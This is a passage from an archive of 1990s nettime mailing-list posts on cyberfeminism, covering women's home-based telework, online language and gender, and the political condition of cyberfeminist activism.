in\ncapital-labor relations and in the gendered division of labor.\"(5)\nTelework is defined as \"work delivered to the worker via\ntelecommunications as opposed to the worker going where the work is.\"\n\"Home-based\" telework refers to the individual working in the home, rather\nthan in a centralized location. Surveys show that teleworkers are 5 times\nas likely as other workers to be women and to be working illegally,\nwithout benefits or insurance. Teleworkers are often not trained in the\nproper uses of machines and materials, or informed of the health hazards\nof certain processes. They are paid by the piece--even by the\nkeystroke--rather than by the hour, and the pressure to speed up\nproduction and work longer hours is motivated by economic necessity rather\nthan by the employer. There is never time to retrain for higher levels of\nwork, or to get the education to participate in the more lucrative work of\nknowledge production and management.  For example, although women were\ncentral as early developers of software, after it became evident that\nsoftware was the lucrative part of computer technology, they were\nincreasingly demoted to coding and keystroking functions, and have not\nbeen able to regain their early level of participation. \n\nHome work reinforces women's subordinate status in the home and labor\nmarkets: Despite the much discussed separation of public and private\nspheres, the history of home work clearly shows that public power\n(capital) has been used to structure the private lives and control work\nopportunities for women.  Add to this the fact that the new communications\ntechnologies have opened the home space to the world, and conversely have\nbrought the world into the private space of the home, and we get a\nblurring of boundaries that allows surveillance of the home-based worker\nand \"makes the home more accessible to employers, marketers, and\npoliticians.\" (6) Women teleworkers become industrialized women, while\nwomen in waged jobs become Taylorized homemakers.  As sociologist Arlie\nHochschild noted: \"[people]...become their own efficiency experts, gearing\nall the moments and movements of their lives to the workplace.\" (7) For\nhome-based teleworkers there is no distinction between home and workplace,\nwith the result that when both personal and worklife become Taylorized\nthey have no escape.  For women who have often been forced to \"choose\"\nhome-based work because of the lack of childcare options--a common problem\nfor illegal aliens, for example--home-based telework therefore amounts to\na doubling of their bondage to the home space. The blurring of boundaries\nin the home-space between private and public also often places the woman\nin a doubled psychological subordination--to her employers and to her\nhusband. The traditional feminine roles of emotional caregiving and\nphysical caretaking become entwined with her externally controlled,\nmaintenance telework in the home. In the long run, female rebellion\nagainst these pressures could have the effect of redefining the division\nof male and female labor, and of repositioning the importance of home life\nand private free time within the public economy and social relations. In\nthe short run, since home life has no recognized public economic value, it\nis being more and more curtailed, automated where possible, and\nreorganized to serve the needs of paid work; and women who work at home\nhave the doubled role of worker and caregivers. \n\nHome work undercuts progressive labor conditions and standards:\n\nThe geographic mobility of capital made possible by IT uses waged labor,\nwhich is space-bound, with the result that geographical areas are\nincreasingly reduced to the status of a captive labor pool. While this\nmakes new modes of production (especially home telework) possible, it does\nnot challenge \"the place of the home in the economy, or of women in the\nhome\" (8). The home space and the female working in it under the sign of\n\"choice\" actually become the site of regressive labor practices and\nintrusions of outside control made possible by the dissemination and\nflexibility of the very information technology that now immobilizes and\nisolates the woman worker. This isolation also contributes to women's\nincreasing marginalization in the computer sciences, and to the\nstratification of women in the computer industry between a small\npercentage of highly skilled engineers, scientists, systems analysts and\nknowledge workers, and the vast numbers of low-paid, low skilled computer\nworkers.  It is this great disparity and its concomitant economic and\npolitical consequences that cyberfeminists need to study and address. \n \n[Performer goes to console to type]\n\nI'm the Total Quality woman. I am the culturally engineered, downsized, \noutsourced, teleworked, deskilled, Taylorized mom, just-in-time, take-out, \ntime-saving, time-starved, emotionally downsized, down-right tired...\nMy home is my work, my work is my home. \nI work with machines; I live with machines; I love with machines;\ncomputer, modem, TV, VCR, printer, scanner, refrigerator, washing machine, \ndryer, vacuum cleaner, cars telephones, fax machine, hairdryer, vibrator, CD \nplayer, radio, pencil sharpener, blender, mixer, toaster, microwave, cell \nphone, tape recorder... \n[Animated bits come on screen]\nIT is now the single biggest part of the US economy, 11% of the GNP.\nGlobalization. Free Trade Zones. The Market Economy.\nBye Bye Borders.\nThere is no place to hide.\nKnowledge management: Husbandry for ideas.\nMass customization: The market of you.\nJust-in-time learning: knowledge at your fingertips.\n[Performer puts her arms round the console and chants]\nJust-in-time conception,just-in-time production, just-in-time delivery, \njust-in-time assembly, just-in-time laundry, just-in-time dinner, just-in-time\nchildcare, just-in-time quality time, just-in-time sex, just-in-time pleasure,\njust-in-time pain, just-in-time stress, just-in-time insanity, just-in-time \nsacrifice, just-in-time drugs, just-in-time death.\n\n \n3.  Activism, Intervention, Resistance\nThe political conditions of home-based telework I've outlined pose questions \nabout the effects of restructuring work for women in the integrated circuit: \nWill this reorganization  of work further stratify jobs by race, ethnicity, \nand gender?  Will the changes in work structures \"reproduce existing patterns \nof inequality in only slightly changed forms, perhaps leading to different, \nmore subtle forms of inequality?\" (9)\n\nWhat are possible points of intervention, resistance, and/or activism for \ncyberfeminists and artists (among whom I include myself) working with computer\ntechnology? On the micro level, it is time to educate ourselves thoroughly \nabout these conditions, and to disseminate this information as widely as \npossible through the different cultural and political venues in which we work.\nWe must rethink the  contexts in which computers are used, and question the \nparticular needs and relations of women to computer technology. We must try to\nunderstand the mechanisms by which women get allocated to lower-paid \noccupations or industries, and make visible the gender-tracking that obtains \nin scientific fields of work. For example, many women tend not to choose \ncertain fields because of the \"male culture\" that is associated with them.\n\nCyberfeminists could use the model of the recent feminist art project\n\"Informationsdienst\" to create \"Information Works\" that address the\npolitical conditions of telework, and make visible how the deployment of\nIT is affecting the restructuring of work and the loss of jobs in the\nmarket economy worldwide. (10) A teleworker's bill of information and\nrights, disseminated to offices and private homes through a webpage on the\nInternet could also clarify the linked chains of \"women's work\" and\nworking conditions for women worldwide. A \"Home work School\" on the\nInternet and in local community centers--taught and organized by home\nworking women (many of whom are increasingly artists, single mothers, poor\nurban black women, immigrants, and displaced older women)--could offer\n(free) classes in everything from the politics of the new global labor\neconomy and its effects on women's lives and work, to feminist history,\nand creative and practical lessons in upgrading computer skills. Wired\nwomen need to form new unions that bring together women computer\nengineers, analysts, managers, programmers, clerks and artists. We need to\nform coalitions with immigrant rights groups that are interested in\ncomputer literacy.  The classical tactics of organizing to improve working\nconditions must be translated into new forms which take into account the\ndecentralization and reprivatization of workers, and subvert the already\nestablished communication chains of IT to reach and organize the people\ndisplaced by it. The creative ideas of cyberfeminist artists experienced\nin computer networking could be especially useful here. \n\nOn the macro level, cyberfeminists need to initiate a visible resistance\nto the politically regressive consequences of relegating women back to the\nhomework economy and imposing on them the privatized, invisible, double\nburden of labor. Many libertarians, economists, and labor leaders are\naddressing the social isolation and economic privation suffered by\nmillions of casualties of electronic joblessness by calling for the\ncreation of socially productive jobs with a guaranteed annual income (or a\nsocial wage) for workers displaced by automation. They are also supporting\nmoves for a shorter workweek, for job sharing, for more equal distribution\nof knowledge and maintenance work, and calling for corporations that\nbenefit from the global market economy made possible by IT to return some\nof this great wealth to support a Third Sector of social and community\nwork. While many of these demands seem desirable steps toward a more\nequitable labor economy, in practice they amount to a social welfare tax,\nand do nothing to challenge the intense stratification and concentration\nof wealth and power, increasingly produced by the global market economy,\nwith devastating effects, on already marginalized, impoverished, and\ninvisible populations, and on women. Cyberfeminists need to analyze the\neffects such schemes might perpetuate on the gender division of labor.\nWill women continue to be concentrated in the low-paying \"caring\" and\nsocial maintenance jobs which double and extend their housekeeping\n\"skills\" to the whole community? Or will we fight to have such socially\nproductive work be revalued by awarding it decent salaries, benefits, and\njob security? Such work should be acknowledged as vital to the survival of\nhuman life and should be highly rewarded--not just monetarily, but also by\ngranting workers the greatest autonomy in planning and structuring the\nwork, by having them determine working conditions, pay, benefits, and\nhours. Above all, we must rejoin the fight that was never won: the\nre-valuing--by way of decent wages, benefits, and improved labor\nconditions--of the human work of childraising and family care-giving that\nis vital to the productive lives of all human beings.  If such maintenance\nwork were liberally rewarded, and balanced with adequate free time and\neducational and social opportunities, it would be work attractive to both\nmen and women, and could do much to substantially change traditional\ndomestic--and paid labor--gender roles. \n\nGiven the groundbreaking changes IT is causing in the relationship of home\nto work, and in the place of the home (and private life) in pancapitalist\neconomies, some radical rethinking must take place about women's changing\nconditions in both the domestic sphere and the public economy.  The\nsuggestion that the home should again become a locale of resistance to\ncapitalism's predatory effects on privacy, sociality, and free time may be\na regressive one for women, because it treats these problems as private\nones with private solutions. The utopian promises claimed for IT--for\nexample, the possibility of being freed from never-ending repetitive work\nand heavy manual labor; the drastic reduction of working time for all\npeople and the concomitant expansion of self-managed free time--must be\nskeptically countered with a critique of the ways in which IT has actually\nincreased work time and has eroded aspects of the pleasure and meaning to\nbe found in work--such as sociability, worker solidarity, job security,\nand pride in skills.  This critique should be combined with vocal\nopposition to and denunciation of the reintroduction of regressive labor\nconditions and policies for workers worldwide. It is crucial that we\naddress the human sacrifice that the worldwide proliferation of home-based\ntelework and sweatshop labor causes for millions, predominantly women. The\nwide social indifference to such vast inequities once again renders\ninvisible the life-sustaining unpaid or underpaid maintenance work\nperformed by women. \n\nNotes: \n1. Miwon Kwon, \"In Appreciation of Invisible Work,\"  Documents No. 10, Fall \nl997: 17.\n2. Sadie Plant, \"The Future Looms,\"Clicking In: Hot Links to a Cool Culture, \ned. Lynn Hershman. San Francisco: Bay Press, l997: 123.\n3. Barbara Gutek, \"Clerical Work and Information Technology,\" Women and \nTechnology,  ed. Urs E. Gattiker. Berlin: Walter de Gruyter, l994: 206.\n4. Donna Haraway, \"A Cyborg Manifesto,\" Simians, Cyborgs, and Women, New York:\nRoutledge, l985: 166.\n5. Andrew Calabrese \"Home-based Telework,\"Women and Technology . ed. Urs E. \nGattiker. Berlin: Walter de Gruyter, l994: l77.\n6. Ibid. 163, 169.\n7.  Arlie Hochschild, The Time Bind , New York: Henry Holt and Company, l997: \n49\n8. Calabrese, 179.\n9. Evelyn Nakano Glenn and Charles Tolbert II, \"Technology and Emerging \nPatterns of Stratification for Women of Color,\" Women, Work, and Technology.  \nEd. Barbara Drygulsky Wright, et al. Ann Arbor: The University of Michigan \nPress: 320.\n10.  See Sabeth Buchman, \"Information Service: Info-Work,\" October No. 71, \nWinter, l995: 103 ff.\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Tue, 8 Sep 1998 16:22:00 -0400",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809090840.JAA15341 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00021.html",
                "list": "nettime_l",
                "author_name": "Faith Wilding",
                "subject": "<nettime> Duration performan"
            },
            {
                "content-type": "text/plai",
                "from": "ute {AT} easynet.co.uk (mute) (by way of Josephine Bosma)",
                "id": "00037",
                "content": "\nThis text appeared in the latest edition of Mute, in which there\nis a little special about cyberfeminism.\n\n*\n\n\nWhat are Words Worth?\n\n\n\nHow to discover the cyborg in yourself? Once the question was, in answer to\nthe ultimate patriarchal image of god as man and man as god: how to\ndiscover the goddess in your female self. Tragically long after the council\nof Trente somewhere in the 16th or 17th century where the question 'Do\nWomen Possess a Soul' was raised, the discussion about women being a social\nconstruction or a species that is essentially born, has continued deep into\nour times. After Donna Haraway's Manifesto for Cyborgs' \"I'd rather be a\ncyborg then a goddess\", the term cyberfeminism was born. 'Rather being a\ncyborg then a goddess' means shaking off some last remains of possible male\nsexism which lie hidden within the meaning of the word 'goddess'.\nCyberfeminists attack patriarchy within one of its bases of power: the\ncreation of rules for communication and the exchange of information. Taking\npart in the development of the internet, which is by no means a finished\nproduct, and defining the world differently from there, they can slip\noutside of traditional structures. Like most 'alternative' net.related\nculture however, cyberfeminism has stayed in the margins of both real life\nculture and the internet for the past six years. Now cyberfeminists seem to\nbe expanding their territory.\n\nTechnology has always been dominated by its male contributors (despite many\nattempts to get girls to participate), but with the internet it seems\ntechnology has bred one of its rare products that women can easily connect\nto. Here we have a toy or tool that is not just highly technically complex,\nbut also offers great social challenges. This is technology that 'lives'\nand is connecting to lives, creating new realities, emphasising dormant\nfreedoms of expression and being. Now that computers are connected to\nnetworks and offer an expanding social perspective, it is much more\ninteresting to get involved in the development of the hardware, software,\ntheory and social practice of 'computerlife'. As Alla Mitrifanova, a\ncyberfeminist and media critic, amongst other things, says: \"Generally\nspeaking the internet reality is a specific cyberfeminist issue. I think\nthat net communication could easily show this freedom of presentation mode:\nfreedom of images, of roles, of subject-concepts.\"\n        Now this freedom needs to be explored and, more importantly, it\nshould produce new realities that extend to the real life situations\n(outside the net that is) of women, as it's still 'war' the minute you go\nout on the street. Alla Mitrofanova thinks that with a change of\n(self)perception, comes an automatic change of reality: \"Some knowledge\nconstructions, some psychic constructions, discursive and non-discursive\npractices regulate our physical activity and that's why there is a\ncorrelation between our presence in the internet and our real behaviour\noutside of the computer screen. While we have no centre in the internet\nspace and can choose different possibilities, we can see in real life that\nour behaviour shows signs that there is no centre, no male or female\nposition in the field of motivations, and that we are relatively free in\nthe choice of aesthetics.\" The question provoked by a statement like this\nof course is: do experiences like this go beyond the very personal and how\ndeeply can they affect social and political life in the long term?\n\nThe term 'cyberfeminism' needs some exploration and elaboration. With its\nrelative incomprehensibility outside of a small circle, this might not be a\nbad thing. Sometimes that means starting from the beginning. The Old Boys'\nNetwork, an initiative of amongst others Cornelia Sollfranck, who is mostly\nknown for performance art, will explore the following questions in the\nWorkspace at Documenta this year: \"Cyberfeminism.... Fresh ideology? New\ncode of behaviour? Artistic playground? Semiotic straightjacket?\" Cornelia\nSollfranck would like to keep the term cyberfeminism as open as possible:\n\"As far as I know there are no definitions or there are many different\nones. We'll try to bring together all the different notions of this term.\nWe'll think of strategies for how this term could perhaps help set up a new\ngoal, a new political goal.\" And: \"For me cyberfeminism is a concept of\nevery single person starting to think by themselves and not reading the big\nthinkers.\" This last idea seems like an unwise misinterpretation of\ndemocratic and emancipatory principles. Especially in a time when the\ndevelopment of feminism into post-feminism, neo-feminism, cyber-feminism is\nscattering the powers of women and confusing their goals, all will benefit\nfrom some historical awareness. The writer Faith Wilding wrote after\npre-reading my article: \"I think we should all read whatever we can.\nIgnorance of what has been done and thought by others will only lead to\nneedless repetition and lost time.\"\n\n\"I think, in light of our experiences online, our investigation of network\ncommunication areas and mailinglists and websites, that women don't have a\ndominant voice in these media, although they have a lot to say. Maybe the\nenvironment of the internet is really a great environment for women,\nbecause people can't interrupt what you're saying. Men can't interrupt you.\nYou can always finish your sentence online,\" says Kathy Rae Huffman,\ncurator and media critic. She has started an initiative called Face\nSettings with her friend Eva Wohlgemuth, who is an artist, that deals with\ncommunication between groups of women. Being born travellers and explorers\nthey are interested in getting groups of women just outside the \"network\ncommunity\" connected and giving them a \"kickstart\" on the internet. Besides\nall the other specific information that can be found there, they have\nonline parties via their website and a closed mailinglist called Faces.\nConcerning the groups of women from 'remote' places like Zagreb, St.\nPetersburg, Bilbao or Dublin that are not so present within many internet\ndiscourses, Kathy Rae Huffman says: \"They have different perceptions of\nwhat the internet is and what communication means. It's much more important\nto be connected to people outside, they don't have many opportunities.\"\nAsking yourself what cyberfeminism means, the sharp contrast between the\nopportunities for rich and poor, men and women, races and cultures within a\nfast developing high tech world becomes disturbingly evident, it grows on\nyou in an eerie way.\n\nOnce part of 'The Network', will all 'cyborgs' automatically be equal? What\ndoes it mean to communicate online? Eva Wohlgemuth: \"We think that women\nare communicating differently and we somehow observe how we are doing it\nourselves. We observe our contact with other women.\" A basic idea behind a\nlot of cyberfeminist rhetoric is the disappearance of gender on the net.\nHowever, this idea is often uttered carelessly. In the same way that the\nalleged absence of the body in virtual networks has created many\nmisunderstandings, now the wish for freedom of gender and the fragile real\npresence of this freedom in a liberated mind are connected to the\ninvisibility and intangibility of presence on the net, creating the\nillusion of freedom from undesired genderrelated social and political\ncontructions. What freedom is there in the 'disappearance of gender' when\nthis freedom is one of hiding in travesty, androgyny or invisibility? Could\nthere be other approaches for establishing this greatly desired freedom?\n\nAs written language is the main medium of communication on the internet, it\nis a logical step to see if maybe here there is already a noticeable and\nusable difference in communication and the creation and perception of\nknowledge and culture. Like with the present changes the internet brings,\nthere has been a previous 'information revolution' with the invention of\nprint at the end of the middle ages. This invention liberated us from the\npossession and creation of knowledge by the church, but it had some\ndisadvantages too. \"If there is one thing that print has given us, it is\nthe concept of standardisation. Partly because print itself doesn't change,\nthe medium has helped to promote a mindset in which we want other aspects\nof life - and language -  to remain fixed and unalterable.\" In the book\nNattering the Net by Dale Spender, a researcher and teacher who is also\n'co-originator' of WIKED, a database on women, the first chapter is a\nwonderful reader for anyone involved in the books-versus-computers debate.\n\"The dismay and distress at the passing of the print era has more to do\nwith bringing to an end a patriarchal presence that has been encoded in\ncommunication than it has to do with the loss of print.\" Writing on the net\nis different. This means once again that powers will shift and culture will\nbe redefined. To have influence in this, one has to be present and shape\nthe change. This presence needs to be a noticeable and clear one.\n\nJosephine Starrs of VNS Matrix mentioned, when asked which women had\ninfluenced her, the French philosophers Irigaray and Kristeva. Their\n'\u00e9criture feminine' has a radical approach to language as a liberation\ntool. When asked if she sees different styles in discourse between men and\nwomen online Josephine Starrs says: \"..I am thinking now of one of VNS\nMatrix: Francesca Da Rimini aka Gashgirl, ...her writing is particularly\ninfluenced by feminist writings. It has sort of grown up and then expanded\ninto the online thing, because it's a nonlinear kind of writing and because\nyou can use the hypertext in a different kind of way. I do not want to\ngeneralise, but there is a nice style that women are developing in their\nonline writing.\" Academic, male discourse as it is extended on some\ninternet mailing lists, is an insult to the nets' possibilities. The\nintentions of writers who refuse to let go of traditional reasoning are\noften lost in the lustre of datafragments that whirl across a computer\nscreen. I can imagine some good and maybe funny cyberfeminist actions here.\nRules and traditions concerning linear reasoning and the creation of\nmeaning by academies and institutions could be tackled in performance-like\ninterventions on different internet platforms. Women who engage in this\nshould be aware of the fact that what they do might not be appreciated. The\ninternet was designed and produced by many, many males and they are very\nprotective about its protocols and traditions. \"Internet research has to\nhave an appropriate analytical discourse: not descriptive, not\nhierarchical, but operative...\" Alla Mitrofanova is a good analyst of the\ntool she likes to work with: \"The Internet came not through thinking, not\nthrough concepts or images, it came through practice, through functioning.\"\nIt is within this functioning that new ideas and interventions could occur.\nDiana McCarthy, involved in the organisation of the Faces mailinglist,\nwrites: \"I think one of the main failures of feminism was that it went for\nequal inclusion in a rotten system. What I'm more interested in is a\nfeminism that looks to change paradigms that are bad (even if they are\nefficient).\"\n\nMaybe some of the qualities of the commotion, the creation of visions which\nerupt with the development of a radically new communication tool bear close\nresemblance to the experience of the uncovering and denouncing of\nrestrictive social phenomena. Maybe some freedom lies in the dissection and\ndeconstruction of the style of media use by the 'dominator', patriarchy.\nMaybe all we have to do is amplify, intensify the revolutionary force of\nthe new media themselves. The definitions of rationality, science and art,\nall restrictive, male academic traditions should have trouble surviving. We\ndo not only want the streets back, as the slogan for safe streets goes, we\nalso need a much more radical change: we need language back.\n\n\nJosephine Bosma\n\nWebSiteStory\nRadio Patapoe\nAmsterdam\n\n\n\n\"As a woman I have not enough formal expressions, in discourses there is no\ncultural expression of the body and the sexualised body. Motherhood and\npregnancy are totally hidden under medical and pedagogical discourses. We\nhave silence in the most productive existential experiences. Having freedom\nwe have kind of strong creative obligations to produce more formal\nexpressions in a poetic way. That is what cyberfeminism and other\nextravagant self articulations are about.\"\n\nAlla Mitrofanova, Rotterdam, April 19th 1997.\n\n\n--\n-----mute7 out now, deadline mute8 30-5-1997\n---------mute: 2nd floor, 135-139 Curtain Rd, LONDON EC2A 3BX.\n----------------------------T: +44 171 613 4743/ F: +44 171 613 4052\n----------------------------------E: mute {AT} easynet.co.uk/ W: www.metamute.com\n\n*  *  *  *  *  *  *  *  *  *  *PROUD TO BE FLESH  *  *  *  *  *  *  *  *  *\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sun, 26 Oct 1997 19:38:09 +0100 (MET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "l03010d06b0794b027d8a {AT} [194.109.45.205]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9710/msg00037.html",
                "list": "nettime_l",
                "author_name": "mute",
                "subject": "<nettime> Josephine Bosma: What are Words Worth"
            },
            {
                "content-type": "text/plai",
                "from": "Steven Kurtz <72722.3157 {AT} compuserve.com>",
                "id": "00047",
                "content": "\nNotes on the Political Condition of Cyberfeminism\n\nFaith Wilding and Critical Art Ensemble\n\nCyberfeminism is a promising new wave of (post)feminist thinking and practice.\nThrough the work of numerous Netactive women, there is now a distinct\ncyberfeminist Netpresence that is fresh, brash, smart, and iconoclastic of many\nof the tenets of classical feminism. At the same time, cyberfeminism has only\ntaken its first steps in contesting technologically complex territories. To\ncomplicate matters further, these new territories have been overcoded to a\nmythic degree as a male domain. Consequently, cyberfeminist incursion into\nvarious technoworlds (CD-ROM production, Web works, lists and news groups,\nartificial intelligence, etc.) has been largely nomadic, spontaneous, and\nanarchic. On the one hand, these qualities have allowed maximum freedom for\ndiverse manifestations, experiments, and the beginnings of various written and\nartistic genres. On the other, networks and organizations seem somewhat lacking,\nand the theoretical issues of gender regarding the techno-social are immature\nrelative to their development in spaces of greater gender equity won through\nstruggle. Given such conditions, some feminist strategies and tactics will\nrepeat themselves as women attempt to establish a foothold in a territory\ntraditionally denied to them. This repetition should not be considered with the\nusual yawn of boredom whenever the familiar appears, as cyberspace is a crucial\npoint of gender struggle that is desperately in need of gender diversification\n(and diversity in general). \n\nThe Feminist Cycle\n\nOne aspect immediately evident is that the Net provides cyberfeminists with a\nvehicle crucially different from anything available to prior feminist waves.\nHistorically, feminist activism has depended on women getting together\nbodily--in kitchens, churches, assembly halls, and in the streets. The\norganizing cell for the first phase of feminism was the sewing circle, the\nquilting group, or the ladies' charity organization. Women met together in\nprivate to plan their public campaigns for political and legal enfranchisement.\nIn these campaigns the visible presence of groups of women plucked from the\nsilenced isolation of their homes, became a public sign of female rebellion and\nactivism. Women acting together, speaking in public, marching through the\nstreets, and disrupting public life were activities that opened up political\nterritories that were traditionally closed to them. \n\nDuring the second wave of feminism, which emerged in the early sixties, women\nagain started meeting together to plan actions.  They met in\nconsciousness-raising groups that became the organizing cells for a revived\nfeminist movement. This time, feminists began to master a new tactic: Creating\ncounter-spectacle in the media. Women staged actions targeted at highly visible\npublic icons.  Such patriarchal monuments under feminist assault in the US\nmovement included the Miss America Pageant, Playboy offices and clubs, Wall\nStreet, the Metropolitan Museum of Art, the Pentagon, and the White House.\nEverywhere the actions occurred, the news media was there to document outrageous\nfemale misbehavior.  These tactics spread the news of growing feminism\nnationally and internationally. Visible female disruption and subversion also\nprovided images of female empowerment that inspired many women (and men) to\nbegin taking direct autonomous action on behalf of the rights of women. \n\nIf the first wave was marked by women's incursion into new political\nterritories, this second wave was marked by a march into new economic\nterritories and by a reconfiguration of familiar ones. Most significant was\nwomen's demand for access to the means of financial independence-a struggle that\ncontinues in the third phase of feminist practice. On the more traditional end\nof the struggle, domestic space was no longer perceived as a totalizing feminine\nspace, but was re-presented as a space of ambiguity with both celebratory and\nexploitive characteristics. On the political front, feminism focused on\nliberation practices, and left the old right wing practices behind, such as\ntemperance movements.\n\nThe third wave of feminisms (cultural-, eco-, theoretical-, sex positive-,\nlesbian-, anti-porn-, multicultural-, etc.)--often collectively dubbed\nPostfeminism--continues to use these models of public action and rebellion. A\nrecent case in point was the short-lived but highly visibleWomen's Action\nCoalition (WAC) that began in New York in late l991, following a series of\nevents that enraged women in the US: The dramatic, nationally televised\nHill/Thomas hearings; the William Kennedy Smith and Mike Tyson rape trials; and\nthe judicial battles over abortion rights: all these contributed to a sense that\nit was time for women to launch a \"visible and remarkable resistance\" to social,\nsexual, economic, and political oppression and violence. WAC quickly became a\nmedia attractor as it launched action after visible action. WAC produced a\nspectacle that was hip, sexy, cool, fun, outrageous, and visible. Eight thousand\nwomen joined in the first year, and chapters sprang up around the US and in\nCanada. Much of this initial success was due to the highly effective\ncommunication and networking system that WAC immediately organized. Central to\nthis system was a phone tree, combined with adequate access to fax machines,\ne-mail, and media contacts. In a sense, WAC was an early proto-electronic\nfeminist organization. Having motivated and organized so many women, WAC\nreinvigorated feminist activism, and, in the US, led a new wave of contestation\nin all the traditional feminist territories.  Like most radical organizations,\nit was only a temporary tactical organization. It was unable to survive its\nrapid growth, and all too soon reached critical mass, when explosive splintering\nforced it to choose one of two outcomes: purge and bureaucratize, or dissolve.\nWAC wasn't able to organize its way out of the contradictions of difference, nor\nwas it able to continue resisting some of the dogmatic tendencies of\n\"mainstream\" and \"security state\" feminism which proscribe certain behaviors,\nbeliefs, and lifestyles. While the former option of purge and bureaucratize was\nfirst attempted, the fabric of radicality was strong enough that dissolution\nspontaneously occurred.\n\nThe third wave (with a few exceptions) has missed moving into one crucial area,\nhowever, and that was the revolution in communications and information\ntechnology. Cyberfeminism represents a new set of explorers ready to move the\nstruggle into this new territory. As yet, the movement is still too young to\nface struggles inherent in the economy of difference. As on most frontiers,\nthere still *seems* to be room for everyone. At the same time, there are lessons\nto be learned from history.  Radical movements in their infancy tend to return\nto past patterns.  Cyberfeminism is no different, and key feminist issues such\nas feminine subjectivity, separatism and boundary maintenance, and territorial\nidentification are bound to arise again, even if they seem dead in other\nfeminist territories. \n\nTerritorial Identification\n\nWhat is the territory that cyberfeminism is questioning, theorizing, and\nactively confronting? The surface answer is, of course, cyberspace, but such an\nanswer is not really satisfying. Cyberspace is but one small part, since the\ninfrastructure that produces this virtual world is so vast. Hardware and\nsoftware design and manufacture are certainly of key importance, and perhaps\nmost significant of all are the institutions that train those who design the\nproducts of cyber-life.  Overwhelmingly, these products are designed by males\nfor business or military operations. Clearly these are still primarily male\ndomains (i.e., men are the policy makers) in which men have the buying power,\nand so the products are designed to meet their needs or to play on their\ndesires. From the beginning, entrance into this high-end techno-world (the\nvirtual class) has been skewed in favor of males.* In early\nsocialization/education, technology and technological process are gendered as\nmale domains. When females manipulate complex technology in a productive or\ncreative manner, it is viewed and treated as a deviant act that deserves\npunishment. \n\nThis is not to say that women do not use complex technology. Women are an\nimportant consumer market, and help maintain the status quo when the technology\nis used in a passive manner. For example, most institutions of commerce or\ngovernment are all too happy to give women computers, e-mail accounts, and so on\nif it will make them better bureaucrats. This is why the increased presence of\nwomen on the Net is not solely a positive indication of equality. It is a very\nsimilar situation to late 50s/early 60s America when middle-class husbands were\nmore than happy to buy a second car for their wives--as long as it made them\nmore efficient domestic workers. Technology in this case was used to deepen the\nconfinement of women within their situation rather than liberate them from it.\n(As a general rule, anything you get without struggle should be viewed with\nintense skepticism). The technology and technological processes to which women\ncurrently have access are the consequence of structural economic necessity.\nHowever, all we need is a shift in consciousness to begin the subversion of the\ncurrent gender structure (this is the positve side of so many women being\non-line).\n\nThus, the territory of cyberfeminism is large. It includes the objective arenas\nof cyberspace, institutions of industrial design, and institutions of\neducation-that is, those arenas in which technological process is gendered in a\nmanner that excludes women from access to the empowering points of\ntechno-culture. However, the territory does not stop there. Cyberfeminism is\nalso a struggle to be increasingly aware of the impact of new technologies on\nthe lives of women, and the insidious gendering of technoculture in everyday\nlife. Cyberspace does not exist in a vacuum; it is intimately connected to\nnumerous real-world institutions and systems that thrive on gender separation\nand hierarchy. Finally, cyberfeminism must radically expand the critique\nconcerning the media hype about the \"technoworld.\" While the utopian\ncyber-spectacle has been adequately deflated by documentation of its abuse of\nthe bureaucratic class, low-end technocratic class, and workers involved in\nproduct manufacturing, this critique, in terms of gender and race, is very\nmodest.  For example, who can possibly believe that age, race, or gender do not\nmatter in cyberspace? The ability to assign oneself social characteristics\nonline is only an alibi for a very traditional and exploitive division of labor\nthat is representative of the overall system, and a seduction element for those\nwhose real-world social environment has been eliminated by pancapitalism's\ndestruction of social spaces of autonomy. We must also ask what awaits people in\na minoritarian position once they are online? Will they find familiar and\nsignificant rhetorics, discussions, and images? Is there a continuity of\ndiscourse between the real and the virtual (as there is for the white middle\nclass)? While there are virtual pockets in which continuity exists, the\noverwhelmingly representative situation is geared to the same majoritarian\nconsciousness that  is found in the real-world. In other words, elements of\nsocial stratification are reflected and replicated in cyberspace. \n\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "14 Jul 97 15:45:10 EDT",
                "to": "Nettime <nettime-l {AT} Desk.nl>",
                "message-id": "970714194509_72722.3157_FHP49&#45;1 {AT} CompuServe.CO",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00047.html",
                "list": "nettime_l",
                "author_name": "Steven Kurtz",
                "subject": "<nettime> Cyberfeminism Part 1"
            },
            {
                "content-type": "text/plai",
                "from": "Steven Kurtz <72722.3157 {AT} compuserve.com>",
                "id": "00045",
                "content": "\nNotes on the Political Condition of Cyberfeminism continued:\n\nSeparatism and Boundary Maintenance\n\nWhenever feminism begins pushing its way into new territories, the avant garde\nmembers of the movement face incredible problems and nearly insurmountable odds.\nCyberfeminism is no different. Relatively few women have the skills to see\nthrough the cyber-hype, to understand the complexity of the system, and most\nimportantly, to teach other women how to survive and actively use the system.\nFor most women in the technosphere, it takes all their energy simply to survive\ntransgressing the norm and learning massive amounts of dense technical\ninformation.  Just doing the latter is a difficult task that few people\naccomplish, but throw in the condition of gender isolation (learning and working\nin a male domain) and the generally negative social representation of being a\ngeek girl (i.e., going against the grain of female construction) and it becomes\nimmediately apparent that alienation levels are extremely high.  Under such\nconditions, as in the past, separatist activity has been a useful tactic, as\nwell as one that can foster efficient pedagogical situations.\n\nKathy Huffman often jokes that \"in cyberspace men can't interrupt you [women].\"\nThe joke is funny because it does represent a truth of gendered interruption;\nhowever, the pessimistic side of this point is that women are interrupted 